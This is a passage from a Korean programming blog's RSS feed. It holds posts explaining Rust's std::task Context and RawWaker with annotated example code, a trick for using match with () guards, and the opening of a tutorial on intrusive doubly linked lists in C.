&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;VTABLE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;RawWakerVTable&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;RawWakerVTable&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;unsafe&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// RawWaker를 클론할 때 수행해야 하는 작업 명시&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// Clone data perform&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;// Arc를 복사해서&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;arc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Arc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;from_raw&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;i32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// 레퍼런스 카운트를 늘려준 뒤&lt;/span&gt;
        &lt;span class=&quot;nn&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nn&quot;&gt;mem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;forget&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;arc&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.clone&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// 기존 포인터로 새로운 RawWaker를 생성한다.&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// 이때 자신의 주소가 필요하기 때문에 VTABLE을 전역변수로 지정한 듯 하다.&lt;/span&gt;
        &lt;span class=&quot;nn&quot;&gt;RawWaker&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nn&quot;&gt;Arc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;into_raw&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;arc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;VTABLE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// 혹은 RawWaker::new(data, &amp;amp;VTABLE)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// 포인터를 기반으로 프로그램 중지 명령 (Mutex 락 설정)&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// Data lock&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// 레퍼런스를 기반으로 프로그램 중지 명령 (Mutex 락 설정)&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// Mutex lock by ref&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;unsafe&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// RawWaker를 드롭할 때 수행해야 하는 작업 명시&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// Drop data perform&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;// Arc 레퍼런스카운터 제거&lt;/span&gt;
        &lt;span class=&quot;nf&quot;&gt;drop&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nn&quot;&gt;Arc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;from_raw&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;i32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// 컨텍스트에 들어갈 데이터, 테스트용으로 숫자를 넣었지만, mutex나 condition var이 들어간 struct이 들어갈 경우가 많을듯하다.&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Arc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;123123123&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// 데이터를 포인터로 만든 후 RawWaker 생성, VTABLE엔 클론, 드롭시 수행해야 할 작업 명시&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;waker&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;RawWaker&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nn&quot;&gt;Arc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;into_raw&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;VTABLE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// RawWaker를 Waker로 변환&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;waker&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;unsafe&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Waker&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;from_raw&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;waker&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// Waker로 Context 생성&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ctx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Context&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;from_waker&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;waker&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// Context로 특정 작업 수행&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// Do something with context&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// Context를 수행하는 작업은 std::task::Poll 을 반환값으로 이루어진다.&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// Run function with context that returns Poll(result)&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// std::future::ready 함수를 통해 반환할 값을 준비합니다. 준비되지 않았으면 std::future::pending함수를 사용해 준비되지 않았다고 알립니다.&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nn&quot;&gt;future&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ready&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;123&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// result.poll(&amp;amp;mut ctx)를 통해 std::future::Ready 혹은 Pending에서 std::task::Poll로 변환해줍니다.&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// poll을 사용하기 위해선 Pin을 통해, 변수 위치가 고정되어야 합니다. (여러 스레드에서 사용하기 때문에 오류방지를 위해)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Pin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.poll&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ctx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// Poll match를 통해 값이 준비되었는지 아닌지를 판단합니다.&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// std::task::ready! 를 사용하면, 값이 준비되지 않았을 경우 Poll::Pending (준비중)을 반환할 수 있습니다.&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;match&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nn&quot;&gt;Poll&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Ready&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;nn&quot;&gt;Poll&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Pending&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;

    &lt;span class=&quot;nd&quot;&gt;println!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Result: {}&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;hr /&gt;

&lt;p&gt;Rust의 로우 모듈인 std::task::Context에 대해 보았습니다.&lt;/p&gt;

&lt;p&gt;해당 기능을 사용하여, async를 사용하지 않고도 비동기 테스크 프로그램을 작성하거나, 여러 병렬처리 프로그램을 작성할 수 있습니다.&lt;/p&gt;

&lt;p&gt;Go나 다른 언어처럼, Context에 데이터를 담는 기능은 없어보이며, 현재는 waker를 호출해, 다른 전체작업을 종료하는 역활밖에 없습니다.&lt;/p&gt;

&lt;p&gt;Spring batch처럼 테스크 기반 프로그램을 작성할 때 유용한 것 같습니다.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;해당 글의 내용은 &lt;a href=&quot;https://github.com/spacejam/extreme&quot;&gt;해당 링크&lt;/a&gt;를 참조하였습니다.&lt;/p&gt;

  &lt;p&gt;내부 구현의 데이터에는 Arc를 사용하였지만, 반드시 Arc를 사용할 필요는 없습니다. 계속해서 유지되는 데이터의 포인터면 됩니다. static을 사용하거나 Box::leak를 사용해도 좋을 듯 합니다.&lt;/p&gt;
&lt;/blockquote&gt;
</description>
        <pubDate>Fri, 27 Jan 2023 01:40:23 +0000</pubDate>
        <link>https://slowanalyst.github.io/blog/Rust-Task_Future_Context/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/blog/Rust-Task_Future_Context/</guid>
      </item>
    
      <item>
        <title>Rust - 자유로운 match 사용법</title>
        <description>&lt;p&gt;Rust의 문법에는 Match가 있어, C나 C++의 switch case 처럼 사용할 수 있습니다.&lt;/p&gt;

&lt;p&gt;하지만 Rust의 Match문법은 Go의 Match문법과 다르게, 주어진 값에 대한 매칭만 가능하도록 되어있습니다.&lt;/p&gt;

&lt;div class=&quot;language-rust highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// 러스트에서는 다음과 같은 문법만 사용가능합니다.&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;match&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;string&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;s&quot;&gt;&quot;integer&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{}&lt;/span&gt;
  &lt;span class=&quot;s&quot;&gt;&quot;string&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{}&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Rust에서는 위에처럼, 특정한 값을 넣고, 해당 값에 대한 매칭만 진행할 수 있는데, Rust 안의 void와 마찬가지인 ()을 이용하여 확장된 match를 사용할 수 있습니다.&lt;/p&gt;

&lt;div class=&quot;language-rust highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;match&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;// 해당 구문이 실행됩니다.&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;string&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;string&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{}&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;// 해당 구문으로도 실행할 수 있습니다.&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;string&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;string&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{}&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;// 아래 구문은 default와 비슷합니다.&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;위의 구문 없이, if와 else의 중첩만으로 위를 구현할 수 있지만, match를 사용하면 여러 분기에 대해 깔끔하게 정리할 수 있기 때문에, 해당방법을 사용하여 여러 변수에 대한 분기문 처리를 깔끔하게 유지할 수 있습니다.&lt;/p&gt;
</description>
        <pubDate>Sat, 14 Jan 2023 01:40:23 +0000</pubDate>
        <link>https://slowanalyst.github.io/blog/Rust-Free_match/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/blog/Rust-Free_match/</guid>
      </item>
    
      <item>
        <title>일반적인 (generic) 데이터를 저장하는 이중 연결 리스트</title>
        <description>&lt;h2 id=&quot;contents&quot;&gt;Contents&lt;/h2&gt;
&lt;ol&gt;
  &lt;li&gt;이중 연결 리스트&lt;/li&gt;
  &lt;li&gt;구현
    &lt;ol&gt;
      &lt;li&gt;노드 구성: non-intrusive vs intrusive&lt;/li&gt;
      &lt;li&gt;노드를 연결하는 방법&lt;/li&gt;
      &lt;li&gt;사용자 인터페이스: 클래스&lt;/li&gt;
      &lt;li&gt;에러 처리&lt;/li&gt;
      &lt;li&gt;CRUD (Create, Read, Update, Delete)&lt;/li&gt;
    &lt;/ol&gt;
  &lt;/li&gt;
  &lt;li&gt;References&lt;/li&gt;
&lt;/ol&gt;

&lt;h1 id=&quot;이중-연결-리스트&quot;&gt;이중 연결 리스트&lt;/h1&gt;
&lt;p&gt;연결 리스트 (Linked List)라는 개념은 [5]가 제시한 개념으로, 문제의 증명을 기호 논리를 통해 찾는 프로그램인 Logical Theorist (LT)을 개발하는 과정에서 제안되었다. ([5]의 저자들은 이 논문이 카네기 공대의 H. A. Simon과 공동으로 진행한 연구 프로젝트의 일부임을 밝히고 있다) 해당 프로그램에 적용되는 여러 요구사항 (표현의 리스트를 다룰 수 있어야 하고, 논리 문제를 해결하기 위한 프로세스의 리스트를 다룰 수 있어야 한다는 것 등)을 해결하기 위해서는 한 언어가 필요했고 이것이 바로 Information Processing Language (IPL)이다. 즉, LT가 다룰 수 있어야 하는 리스트를 표현하기 위해 IPL이 사용된 것이다. 그리고 IPL은 리스트를 표현할 때 location words를 사용했는데, 이는 현대의 포인터와 같은 개념이라고 볼 수 있다. IPL은 리스트에 두 가지 location words를 두었는데, 하나는 element를 가리키고, 다른 하나는 다음 location words를 가리키도록 구성했다. 이를 그림으로 표현하면 다음과 같다.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;    +--------+    +--------+    +--------+
---&amp;gt;|Location|---&amp;gt;|Location|---&amp;gt;|Location|---&amp;gt; (-1)
    +--------+    +--------+    +--------+
        |              |             |
        V              V             V
      element       element       element
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;위 그림에서 -1은 리스트의 종료를 의미하며, 이는 현대의 NULL과 같은 개념이다. 따라서 [5]가 제시한 리스트의 형태는 [1, Sec. 3.1]이 설명하는 연결된 자료 구조 (Linked Data Structures)에 속하는 단일 연결 리스트 (Single Linked List)의 형태임을 알 수 있다.&lt;/p&gt;

&lt;p&gt;이중 연결 리스트 (Double Linked List)는 [1, Sec. 3.1]이 설명하는 연결된 자료 구조 (Linked Data Structures)에 속하는 단일 연결 리스트 (Single Linked List)에서 이전 노드를 가리키는 것이 추가된 자료구조이다. 이를 그림으로 표현하면 다음과 같다.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;    +----+    +----+    +----+
&amp;lt;---|node|&amp;lt;---|node|&amp;lt;---|node|---&amp;gt;
    |    |---&amp;gt;|    |---&amp;gt;|    |
    +----+    +----+    +----+
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;위와 같은 구조에서 첫 번째 노드와 마지막 노드는 각각 head, tail이라고 불리며 접근하기 위한 변수가 별도로 존재하여 접근하는데 O(1)이 소요된다. 그리고 이전 노드와 다음 노드를 가리키는 변수는 prev (previous)와 next 또는 bk (back)와 fd (forward)로 표현된다. 이렇게 이전 노드와 다음 노드를 가리키는 부분이 존재하기 때문에 단일 연결 리스트와 다르게 순회하는 방향을 조절할 수 있게 된다. 즉, 앞에서부터 순회할 수도 있고, 뒤에서부터 순회할 수도 있다. 이는 단일 연결 리스트에서의 오름차순과 내림차순 문제를 정렬 문제에서 읽는 순서의 문제로 단순화 시킨다. 하지만 임의의 노드에 접근하는데는 여전히 단일 연결 리스트와 같이 O(n)이다.&lt;/p&gt;

&lt;h1 id=&quot;구현-방식&quot;&gt;구현 방식&lt;/h1&gt;
&lt;p&gt;여기서는 C 언어를 사용하여 이중 연결 리스트를 구현한다. 이때 노드 구성 방법, 노드 연결 방법, 리스트 라이브러리 인터페이스, 에러 처리, CRUD 구현에 대해 고민할 필요가 있다.&lt;/p&gt;

&lt;h2 id=&quot;노드-구성-non-intrusive-vs-intrusive&quot;&gt;노드 구성: non-intrusive vs intrusive&lt;/h2&gt;
&lt;p&gt;먼저 노드를 어떻게 구성할지 고민해보자. 여기에는 [2]가 설명하듯이, 두 가지 방식이 있다. 하나는 노드에 이전과 다음 노드를 가리키는 변수를 포함시키는 것 (non-intrusive)이고, 다른 하나는 노드와 이전과 다음 노드를 가리키는 변수를 분리시키는 것 (intrusive)이다. 전자는 일반적으로 다음과 같은 형태를 가지고,&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;struct node {
    /* some data */
	
    struct node *prev;
    struct node *next;
};
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;후자는 일반적으로 다음과 같은 형태를 가진다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;struct node {
    struct node *prev;
    struct node *next;
};

struct data {
    /* some data */
	
    struct node link;
};
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;전자는 일반적으로 흔히 사용되는 이중 연결 리스트 노드의 형태이고, 사용자가 전달한 인자를 할당된 노드에 복사한다. 따라서 메모리 할당이 2회 (사용자 데이터, 이중 연결 리스트의 노드) 발생하게 된다. 반면 후자는 노드에 사용자 데이터가 포함된 것이 아니라 사용자 데이터에 이전과 다음 노드를 가리키기 위한 변수가 포함되어 (embedded) 있다. 따라서 사용자 데이터를 위한 메모리를 할당하는 것만으로 노드가 만들어진다. 메모리 할당 횟수가 적다는 것은 그만큼 메모리 할당 에러 확인 횟수가 적어진다는 것을 의미한다.&lt;/p&gt;

&lt;p&gt;여기서는 intrusive한 방식으로 노드를 구성한다. 이때 노드의 구조는 다음과 같이 j_dllnode.h 헤더에 존재하고,&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;struct j_dllnode {
    struct j_dllnode *prev;
    struct j_dllnode *next;
};
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;사용자는 이를 데이터에 포함시켜야 한다. 즉, 라이브러리는 사용자가 위 노드 구조체를 데이터에 포함시켰다고 가정한다. 여기서 사용자는 이 라이브러리를 사용하여 애플리케이션을 작성하는 개발자를 말한다.&lt;/p&gt;

&lt;p&gt;이러한 노드 구성은 노드에서 데이터를, 데이터에서 노드를 얻는 방법이 non-intrusive한 노드 구성보다 복잡해지도록 만든다. 일반적인 (generic) 데이터를 이중 연결 리스트에 저장하고자 할 때 이를 구현하는 방법은 주어진 데이터 타입에서 노드의 오프셋을 구하는 것이다. 다만, 여기서 오프셋은 사용자가 적절한 값으로 제공해야만 한다. 여기서 [4, Sec. 7.17]은 구조체 멤버의 (구조체의 시작 주소로부터의) 오프셋을 구하기 위한 offsetof 매크로를 정의한다. 따라서 사용자는 이 매크로를 사용하여 데이터에 포함된 노드 구조체의 오프셋을 제공할 수 있고, 제공해야만 한다. 이 값이 node_offset이라는 attribute로 저장된다고 가정하면, 이로부터 다음과 같이 노드에서 데이터를, 데이터에서 노드를 구하는 함수를 다음과 같이 작성할 수 있다.&lt;/p&gt;

